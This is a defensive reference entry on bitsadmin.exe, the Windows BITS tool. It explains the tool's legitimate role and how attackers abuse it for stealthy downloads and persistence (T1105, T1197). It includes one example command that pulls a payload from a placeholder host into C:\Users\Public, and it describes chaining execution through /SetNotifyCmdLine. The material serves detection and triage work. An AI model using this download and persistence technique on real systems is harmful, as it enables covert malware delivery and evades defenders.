bitsadmin.exe

bitsadmin.exe drives the Background Intelligent Transfer Service, the Windows component that moves files in the background using spare bandwidth and survives reboots and dropped connections. BITS is the machinery behind much of Windows Update and software delivery. The genuine binary lives at C:\Windows\System32\bitsadmin.exe. Microsoft deprecated it in favour of the PowerShell BITS cmdlets (Start-BitsTransfer), so newer scripts increasingly use those instead.

A job is built up in steps: /create makes it, /addfile attaches a source URL and a local destination, and /resume starts the transfer. Two details matter for triage. The transfer itself is carried out by the BITS service inside svchost.exe, not by bitsadmin, so the network connection comes from the service rather than the tool. And /SetNotifyCmdLine attaches a command that BITS runs when the job completes.

Legitimately, bitsadmin is uncommon on a normal desktop, because the BITS service does its work without anyone invoking the command-line tool. Its parent and the job it builds on the command line are what give an instance meaning.

bitsadmin.exe is a stealthy download tool (T1105, T1197). A line like bitsadmin /transfer job https://host/payload C:\Users\Public\p.exe pulls a file through the BITS service, which blends with normal update traffic and resumes across reboots. Crucially, the connection is made by svchost.exe hosting BITS, not by bitsadmin, so a network-centric view misses the origin entirely.

Its real signature technique is BITS Jobs (T1197). /SetNotifyCmdLine tells BITS to run a program when a job finishes, which lets an attacker chain a download to execution, or stand up a long-lived or recurring job as persistence that re-runs their command. The job lives in the BITS database rather than an obvious autostart location, so it survives reboots and evades the usual persistence checks.

In every case the binary is the genuine signed bitsadmin, the work hides behind a legitimate background service, and the activity resembles an ordinary update. The command-line verbs (/transfer, /addfile, /SetNotifyCmdLine) and the parent are where the intent shows.